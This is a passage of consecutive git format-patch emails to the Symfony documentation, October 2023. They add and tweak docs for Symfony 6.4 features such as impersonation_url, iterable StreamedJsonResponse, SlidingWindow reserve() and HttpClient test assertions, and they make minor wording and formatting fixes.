+:doc:`impersonate a user </security/impersonating_user>`, identified by the
+``identifier`` argument.
+
+.. versionadded:: 6.4
+
+    The ``impersonation_path()`` function was introduced in Symfony 6.4.
+
+impersonation_url
+~~~~~~~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ impersonation_url(identifier) }}
+
+``identifier``
+    **type**: ``string``
+
+It's similar to the `impersonation_path`_ function, but it generates
+absolute URLs instead of relative URLs.
+
+.. versionadded:: 6.4
+
+    The ``impersonation_url()`` function was introduced in Symfony 6.4.
+
 impersonation_exit_path
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From 345d3341779ca001308881769b6d6f38be562d24 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 11:06:34 +0200
Subject: [PATCH 5241/7107] [HttpFoundation] Support root-level Generator in
 StreamedJsonResponse

---
 components/http_foundation.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 0e46d0648fa..d02eaad726c 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -709,6 +709,28 @@ after some specific item count to send the contents to the browser::
         }
     }
 
+You also have the possibility to directly pass any iterable to
+``StreamedJsonResponse``, including generators::
+
+    public function loadArticles(): \Generator
+    {
+         yield ['title' => 'Article 1'];
+         yield ['title' => 'Article 2'];
+         yield ['title' => 'Article 3'];
+    }
+
+    public function __invoke(): Response
+    {
+        // ...
+
+        return new StreamedJsonResponse(loadArticles());
+    }
+
+.. versionadded:: 6.4
+
+    The support for any iterable in ``StreamedJsonResponse`` was introduced in
+    Symfony 6.4.
+
 .. _component-http-foundation-serving-files:
 
 Serving Files

From b5b00937f16fa95e9abc58d643a55696789a286d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 2 Oct 2023 10:06:00 +0200
Subject: [PATCH 5242/7107] [RateLimiter] Add `SlidingWindowLimiter::reserve()`

---
 rate_limiter.rst | 20 +++++++++++++++++++-
 1 file changed, 19 insertions(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 981167095d2..06c888b480b 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -320,6 +320,11 @@ processes by reserving unused tokens.
             $limit->wait();
         } while (!$limit->isAccepted());
 
+.. versionadded:: 6.4
+
+    The support for the ``reserve()`` method for the ``SlidingWindow`` strategy
+    was introduced in Symfony 6.4.
+
 Exposing the Rate Limiter Status
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -348,7 +353,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
             $limit = $limiter->consume();
             $headers = [
                 'X-RateLimit-Remaining' => $limit->getRemainingTokens(),
-                'X-RateLimit-Retry-After' => $limit->getRetryAfter()->getTimestamp(),
+                'X-RateLimit-Retry-After' => $limit->calculateTimeForTokens(1, 1),
                 'X-RateLimit-Limit' => $limit->getLimit(),
             ];
 
@@ -365,6 +370,19 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
+.. versionadded:: 6.4
+
+    The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
+    method was introduced in Symfony 6.4.
+
+.. deprecated:: 6.4
+
+    The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::getRetryAfter`
+    method is deprecated since Symfony 6.4. Prior to this version, the
+    ``getRetryAfter()`` method must be used instead of the
+    :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
+    method.
+
 .. _rate-limiter-storage:
 
 Storing Rate Limiter State

From caa34835164c37ad1de6aad3bfa995e438305a96 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Mon, 2 Oct 2023 15:27:14 +0200
Subject: [PATCH 5243/7107] Add HttpClientAssertions trait documentation

---
 testing.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/testing.rst b/testing.rst
index 4c8db86ad08..a00a60c9ed2 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1144,6 +1144,31 @@ Notifier Assertions
 
     The Notifier assertions were introduced in Symfony 6.2.
 
+HttpClient Assertions
+.....................
+
+.. tip::
+
+    For all following assertions, ``$client->enableProfiler()`` must be called before the code that will trigger HTTP request(s).
+
+``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
+    Asserts that the given URL has been called using, is specified,
+    the given method body and headers. By default it will check on the HttpClient,
+    but a HttpClient id can be specified.
+    (It will succeed if the request has been called multiple times.)
+
+``assertNotHttpClientRequest(string $unexpectedUrl, string $expectedMethod = 'GET', string $httpClientId = 'http_client')``
+    Asserts that the given URL has not been called using GET or the specified method.
+    By default it will check on the HttpClient, but a HttpClient id can be specified.
+
+``assertHttpClientRequestCount(int $count, string $httpClientId = 'http_client')``
+    Asserts that the given number of requests has been made on the HttpClient.
+    By default it will check on the HttpClient, but a HttpClient id can be specified.
+
+.. versionadded:: 6.4
+
+    The HttpClient assertions were introduced in Symfony 6.4.
+
 .. TODO
 ..  End to End Tests (E2E)
 ..  ----------------------

From 3d408ade0bbe7579fd749979b3f7a46369cd54ab Mon Sep 17 00:00:00 2001
From: valmonzo <valmont.pehaut@alximy.io>
Date: Mon, 2 Oct 2023 18:58:22 +0200
Subject: [PATCH 5244/7107] [Validator] Change preg_match condition on
 ContainsAlphanumericValidator

---
 validation/custom_constraint.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 57caa12a1e6..0dffa0fa29d 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -117,12 +117,14 @@ The validator class only has one required method ``validate()``::
                 // ...
             }
 
-            if (!preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
-                // the argument must be a string or an object implementing __toString()
-                $this->context->buildViolation($constraint->message)
-                    ->setParameter('{{ string }}', $value)
-                    ->addViolation();
+            if (preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
+                return;
             }
+
+            // the argument must be a string or an object implementing __toString()
+            $this->context->buildViolation($constraint->message)
+                ->setParameter('{{ string }}', $value)
+                ->addViolation();
         }
     }
 
@@ -664,3 +666,4 @@ class to simplify writing unit tests for your custom constraints::
             // ...
         }
     }
+

From 8e71bd22f2022e0c88ccd18a5a2571a611229515 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Oct 2023 20:53:49 +0200
Subject: [PATCH 5245/7107] minor

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 54749f6e65a..a8f066e83be 100644
--- a/templates.rst
+++ b/templates.rst
@@ -383,7 +383,7 @@ gives you access to these variables:
 ``app.locale``
     The locale used in the current :ref:`locale switcher <locale-switcher>` context.
 ``app.enabled_locales``
-    The locales enabled in the application
+    The locales enabled in the application.
 
 .. versionadded:: 6.2
 

From 4c87592e7f4bd450e5be5f4a54a1202e63c19188 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Mon, 2 Oct 2023 22:24:14 +0200
Subject: [PATCH 5246/7107] Document change of UriSigner namespace

---
 routing.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index ae7ccdcb6f8..c717cd23255 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2693,13 +2693,13 @@ A signed URI is an URI that includes a hash value that depends on the contents o
 the URI. This way, you can later check the integrity of the signed URI by
 recomputing its hash value and comparing it with the hash included in the URI.
 
-Symfony provides a utility to sign URIs via the :class:`Symfony\\Component\\HttpKernel\\UriSigner`
+Symfony provides a utility to sign URIs via the :class:`Symfony\\Component\\HttpFoundation\\UriSigner`
 service, which you can inject in your services or controllers::
 
     // src/Service/SomeService.php
     namespace App\Service;
 
-    use Symfony\Component\HttpKernel\UriSigner;
+    use Symfony\Component\HttpFoundation\UriSigner;
 
     class SomeService
     {
@@ -2729,6 +2729,12 @@ service, which you can inject in your services or controllers::
         }
     }
 
+.. versionadded:: 6.4
+
+    The namespace of the ``UriSigner`` class changed in Symfony 6.4 from
+    ``Symfony\Component\HttpKernel\UriSigner`` to
+    ``Symfony\Component\HttpFoundation\UriSigner``.
+
 Troubleshooting
 ---------------
 

From 5928e56c1d21444147f31f4b356d582fc0c2dbb5 Mon Sep 17 00:00:00 2001
From: mohamed <msenoussi@wanadev.fr>
Date: Tue, 3 Oct 2023 10:10:25 +0200
Subject: [PATCH 5247/7107] [Security] Improve `requires_channel` var naming

---
 security/force_https.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/force_https.rst b/security/force_https.rst
index 817adbdb50f..016ac59496e 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -74,8 +74,8 @@ access control:
             };
 
 To make life easier while developing, you can also use an environment variable,
-like ``requires_channel: '%env(SECURE_SCHEME)%'``. In your ``.env`` file, set
-``SECURE_SCHEME`` to ``http`` by default, but override it to ``https`` on production.
+like ``requires_channel: '%env(REQUIRED_SCHEME)%'``. In your ``.env`` file, set
+``REQUIRED_SCHEME`` to ``http`` by default, but override it to ``https`` on production.
 
 See :doc:`/security/access_control` for more details about ``access_control``
 in general.

From 4bb19a90217c1ad2875455a0249c9d15455642d4 Mon Sep 17 00:00:00 2001
From: Sander van der Vlugt <sandervdvlugt@gmail.com>
Date: Tue, 3 Oct 2023 11:25:19 +0200
Subject: [PATCH 5248/7107] [Security] Update voters.rst

Link to non-deprecated Security class being used in the example.
---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 72e52e2d090..7d37aea2510 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -242,7 +242,7 @@ Checking for Roles inside a Voter
 
 What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want
 to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting
-the :class:`Symfony\\Component\\Security\\Core\\Security`
+the :class:`Symfony\\Bundle\\SecurityBundle\\Security`
 into your voter. You can use this to, for example, *always* allow access to a user
 with ``ROLE_SUPER_ADMIN``::
 

From 9f7f0bce7115396164d1612da738a5ac1ed08cc5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 3 Oct 2023 21:01:22 +0200
Subject: [PATCH 5249/7107] Fix: Build

---
 security.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security.rst b/security.rst
index 599701faf68..e5cf84b3cee 100644
--- a/security.rst
+++ b/security.rst
@@ -2830,3 +2830,4 @@ Authorization (Denying Access)
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
+.. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php

From b2c73abc2cdcac9030f4fd9d0582f9649bbd5cb2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 09:10:49 +0200
Subject: [PATCH 5250/7107] Remove an unneeded versionadded directive

---
 routing.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index e109170e294..fb5931cc517 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2724,12 +2724,6 @@ service, which you can inject in your services or controllers::
         }
     }
 
-.. versionadded:: 6.4
-
-    The namespace of the ``UriSigner`` class changed in Symfony 6.4 from
-    ``Symfony\Component\HttpKernel\UriSigner`` to
-    ``Symfony\Component\HttpFoundation\UriSigner``.
-
 Troubleshooting
 ---------------
 

From f436f089523d4ee2979f985615d82949a88df2be Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Wed, 4 Oct 2023 10:47:20 +0200
Subject: [PATCH 5251/7107] Update the docs-builder to 0.21

---
 _build/composer.json |  2 +-
 _build/composer.lock | 14 +++++++-------
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index 2a3b8475f25..e09d79de52f 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -17,6 +17,6 @@
         "php": ">=8.1",
         "symfony/console": "^6.2",
         "symfony/process": "^6.2",
-        "symfony-tools/docs-builder": "^0.20"
+        "symfony-tools/docs-builder": "^0.21"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index d863be84ad9..89a4e7da3c6 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "1c3437f0f5d5b44eb1a339dd720bbc38",
+    "content-hash": "8a771cef10c68c570bff7875e4bdece3",
     "packages": [
         {
             "name": "doctrine/deprecations",
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.20.5",
+            "version": "v0.21.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "11d9d81e3997e771ad1a57eabaa51fc22c500b35"
+                "reference": "7ab92db15e9be7d6af51b86db87c7e41a14ba18b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/11d9d81e3997e771ad1a57eabaa51fc22c500b35",
-                "reference": "11d9d81e3997e771ad1a57eabaa51fc22c500b35",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/7ab92db15e9be7d6af51b86db87c7e41a14ba18b",
+                "reference": "7ab92db15e9be7d6af51b86db87c7e41a14ba18b",
                 "shasum": ""
             },
             "require": {
@@ -514,9 +514,9 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.5"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.21.0"
             },
-            "time": "2023-04-28T09:41:45+00:00"
+            "time": "2023-07-11T15:21:07+00:00"
         },
         {
             "name": "symfony/console",

From f718c5f393fb1bde241e318046e389279b7283eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 12:20:44 +0200
Subject: [PATCH 5252/7107] Minor tweaks

---
 testing.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 162e5e0f185..6c61531e4ed 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1149,12 +1149,13 @@ HttpClient Assertions
 
 .. tip::
 
-    For all following assertions, ``$client->enableProfiler()`` must be called before the code that will trigger HTTP request(s).
+    For all the following assertions, ``$client->enableProfiler()`` must be
+    called before the code that will trigger HTTP request(s).
 
 ``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
-    Asserts that the given URL has been called using, is specified,
+    Asserts that the given URL has been called using, if specified,
     the given method body and headers. By default it will check on the HttpClient,
-    but a HttpClient id can be specified.
+    but you can also pass a specific HttpClient ID.
     (It will succeed if the request has been called multiple times.)
 
 ``assertNotHttpClientRequest(string $unexpectedUrl, string $expectedMethod = 'GET', string $httpClientId = 'http_client')``
@@ -1163,7 +1164,8 @@ HttpClient Assertions
 
 ``assertHttpClientRequestCount(int $count, string $httpClientId = 'http_client')``
     Asserts that the given number of requests has been made on the HttpClient.
-    By default it will check on the HttpClient, but a HttpClient id can be specified.
+    By default it will check on the HttpClient, but you can also pass a specific
+    HttpClient ID.
 
 .. versionadded:: 6.4
 

From 98b4115fd12b2f3ac56893053100957e33bb0640 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 13:05:56 +0200
Subject: [PATCH 5253/7107] Tweak

---
 security.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/security.rst b/security.rst
index bc40f30e9d5..1529fef9c3d 100644
--- a/security.rst
+++ b/security.rst
@@ -1611,16 +1611,15 @@ and set the ``limiter`` option to its service ID:
 Customize Successful and Failed Authentication Behavior
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you want to customize the success or failure handling process, instead of
-overwriting the respective listeners globally, you can set custom success
-failure handlers by implementing the
+If you want to customize how the successful or failed authentication process is
+handled, you don't have to overwrite the respective listeners globally. Instead,
+you can set custom success failure handlers by implementing the
 :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`
 or the
 :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
 
-If you want more information about this, you can have a look at the section
-about
-:ref:`customizing your success handler <login-link_customize-success-handler>`.
+Read :ref:`how to customize your success handler <login-link_customize-success-handler>`
+for more information about this.
 
 .. _security-logging-out:
 

From eb607a359ec016fd91dfdfcd5318df5917859d59 Mon Sep 17 00:00:00 2001
From: Andrey Tkachenko <andrey.tkachenko@spryker.com>
Date: Wed, 4 Oct 2023 11:16:56 +0200
Subject: [PATCH 5254/7107] Update security.rst

Fixed the mistype.
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 1529fef9c3d..0f2c338c0a4 100644
--- a/security.rst
+++ b/security.rst
@@ -2686,7 +2686,7 @@ Frequently Asked Questions
     Sometimes authentication may be successful, but after redirecting, you're
     logged out immediately due to a problem loading the ``User`` from the session.
     To see if this is an issue, check your log file (``var/log/dev.log``) for
-    the log message:
+    the log message.
 
 **Cannot refresh token because user has changed**
     If you see this, there are two possible causes. First, there may be a problem

From e06387733d2838ceb0d3a2fa422dd69220a48add Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20B=C3=B6hmer?= <mail@jan-boehmer.de>
Date: Sat, 30 Sep 2023 00:14:16 +0200
Subject: [PATCH 5255/7107] [PropertyInfo] Added documentation about camelCase
 assumption for getter/setter methods

---
 components/property_info.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 37c425d85df..78e67e63ac3 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -225,7 +225,14 @@ provide whether properties are readable or writable as booleans::
 The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor` looks
 for getter/isser/setter/hasser method in addition to whether or not a property is public
 to determine if it's accessible. This based on how the :doc:`PropertyAccess </components/property_access>`
-works.
+works. It assumes camel case style method names following `PSR-1`_. Therefore, a property like ``myProperty`` or ``my_property`` is
+readable if it has a ``getMyProperty()`` and writable if it has a ``setMyProperty()`` method.
+
+.. versionadded:: 6.4
+
+    Camel case style setter methods for properties in snake case (like ``my_property``) are accepted since Symfony 6.4. Before, the
+    setter name had to contain the underscores (e.g. `setMy_property()`) to make the property assumed writable.
+
 
 .. _property-info-initializable:
 
@@ -552,6 +559,7 @@ service by defining it as a service with one or more of the following
 * ``property_info.initializable_extractor`` if it provides initializable information
   (it checks if a property can be initialized through the constructor).
 
+.. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`phpDocumentor Reflection`: https://github.com/phpDocumentor/ReflectionDocBlock
 .. _`phpdocumentor/reflection-docblock`: https://packagist.org/packages/phpdocumentor/reflection-docblock
 .. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser

From 59576afa6e69cef95f7b122eaaadcc3f8d5b9824 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 13:25:17 +0200
Subject: [PATCH 5256/7107] Tweaks

---
 components/property_info.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 78e67e63ac3..d5699ea1bab 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -225,14 +225,15 @@ provide whether properties are readable or writable as booleans::
 The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor` looks
 for getter/isser/setter/hasser method in addition to whether or not a property is public
 to determine if it's accessible. This based on how the :doc:`PropertyAccess </components/property_access>`
-works. It assumes camel case style method names following `PSR-1`_. Therefore, a property like ``myProperty`` or ``my_property`` is
-readable if it has a ``getMyProperty()`` and writable if it has a ``setMyProperty()`` method.
+works. It assumes camel case style method names following `PSR-1`_. For example,
+both ``myProperty`` and ``my_property`` properties are readable if there's a
+``getMyProperty()`` method and writable if there's a ``setMyProperty()`` method.
 
 .. versionadded:: 6.4
 
-    Camel case style setter methods for properties in snake case (like ``my_property``) are accepted since Symfony 6.4. Before, the
-    setter name had to contain the underscores (e.g. `setMy_property()`) to make the property assumed writable.
-
+    In Symfony versions prior to 6.4, snake case properties (e.g. ``my_property``)
+    were not writable by camel case methods (e.g. ``setMyProperty()``). You had
+    to define method names with underscores (e.g. ``setMy_property()``).
 
 .. _property-info-initializable:
 

From 1688347312b2ae00e8d60df9d31e76170c1756d5 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Oct 2023 13:37:29 +0200
Subject: [PATCH 5257/7107] [TwigBridge] Add `FormLayoutTestCase` class

---
 form/unit_testing.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 0cff565be00..ddaf5816fcf 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -240,4 +240,18 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
+If you want to test the themes of your forms, you may want to make your test extends the
+:class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class. This saves a lot of
+boilerplate and code duplication by implementing the
+:class:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase` methods for you.
+All that's left to do is to implement the
+:method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTemplatePaths`, the
+:method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTwigExtensions` and
+the :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getThemes` methods.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class was
+    introduced in Symfony 6.4.
+
 .. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers

From a45366817bd43f44b7bd9e6e45d41921df943731 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Oct 2023 13:38:47 +0200
Subject: [PATCH 5258/7107] [RateLimiter] Remove deprecations

---
 rate_limiter.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 06c888b480b..1fe86ef020a 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -375,14 +375,6 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
     The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
     method was introduced in Symfony 6.4.
 
-.. deprecated:: 6.4
-
-    The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::getRetryAfter`
-    method is deprecated since Symfony 6.4. Prior to this version, the
-    ``getRetryAfter()`` method must be used instead of the
-    :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
-    method.
-
 .. _rate-limiter-storage:
 
 Storing Rate Limiter State

From b7316c45b4ec6a78e1a98b852aa2a97379318737 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Oct 2023 13:40:24 +0200
Subject: [PATCH 5259/7107] [Twig] Fix title underlining

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 7426fab8ebc..47b06ec2ea4 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -305,7 +305,7 @@ Generates a URL that you can visit to
     The ``impersonation_path()`` function was introduced in Symfony 6.4.
 
 impersonation_url
-~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~
 
 .. code-block:: twig
 

From c39d5b260c43bc18a88d587ebe59ec73e4cda4d6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 13:45:35 +0200
Subject: [PATCH 5260/7107] Tweaks

---
 components/http_foundation.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index d02eaad726c..82de7c11800 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -709,14 +709,14 @@ after some specific item count to send the contents to the browser::
         }
     }
 
-You also have the possibility to directly pass any iterable to
-``StreamedJsonResponse``, including generators::
+Alternatively, you can also pass any iterable to ``StreamedJsonResponse``,
+including generators::
 
     public function loadArticles(): \Generator
     {
-         yield ['title' => 'Article 1'];
-         yield ['title' => 'Article 2'];
-         yield ['title' => 'Article 3'];
+        yield ['title' => 'Article 1'];
+        yield ['title' => 'Article 2'];
+        yield ['title' => 'Article 3'];
     }
 
     public function __invoke(): Response
@@ -728,8 +728,7 @@ You also have the possibility to directly pass any iterable to
 
 .. versionadded:: 6.4
 
-    The support for any iterable in ``StreamedJsonResponse`` was introduced in
-    Symfony 6.4.
+    The ``StreamedJsonResponse`` support of iterables was introduced in Symfony 6.4.
 
 .. _component-http-foundation-serving-files:
 

From e4910bd16604d43a1dfb89d39f0abb86ad787e37 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Oct 2023 14:51:43 +0200
Subject: [PATCH 5261/7107] [Messenger] Make a list unordered

---
 components/messenger.rst | 40 ++++++++++++++++++++--------------------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index f2b71f38a3d..9d46184bef4 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -142,26 +142,26 @@ through the transport layer, use the ``SerializerStamp`` stamp::
 
 Here are some important envelope stamps that are shipped with the Symfony Messenger:
 
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\DelayStamp`,
-   to delay handling of an asynchronous message.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`,
-   to make the message be handled after the current bus has executed. Read more
-   at :doc:`/messenger/dispatch_after_current_bus`.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`,
-   a stamp that marks the message as handled by a specific handler.
-   Allows accessing the handler returned value and the handler name.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\ReceivedStamp`,
-   an internal stamp that marks the message as received from a transport.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\SentStamp`,
-   a stamp that marks the message as sent by a specific sender.
-   Allows accessing the sender FQCN and the alias if available from the
-   :class:`Symfony\\Component\\Messenger\\Transport\\Sender\\SendersLocator`.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`,
-   to configure the serialization groups used by the transport.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
-   to configure the validation groups used when the validation middleware is enabled.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
-   an internal stamp when a message fails due to an exception in the handler.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\DelayStamp`,
+  to delay handling of an asynchronous message.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`,
+  to make the message be handled after the current bus has executed. Read more
+  at :doc:`/messenger/dispatch_after_current_bus`.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`,
+  a stamp that marks the message as handled by a specific handler.
+  Allows accessing the handler returned value and the handler name.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\ReceivedStamp`,
+  an internal stamp that marks the message as received from a transport.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\SentStamp`,
+  a stamp that marks the message as sent by a specific sender.
+  Allows accessing the sender FQCN and the alias if available from the
+  :class:`Symfony\\Component\\Messenger\\Transport\\Sender\\SendersLocator`.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`,
+  to configure the serialization groups used by the transport.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
+  to configure the validation groups used when the validation middleware is enabled.
+* :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
+  an internal stamp when a message fails due to an exception in the handler.
 
 .. note::
 

From 2ada968319f430fed07be74ffc6562f3312c7b15 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 4 Oct 2023 15:28:36 +0200
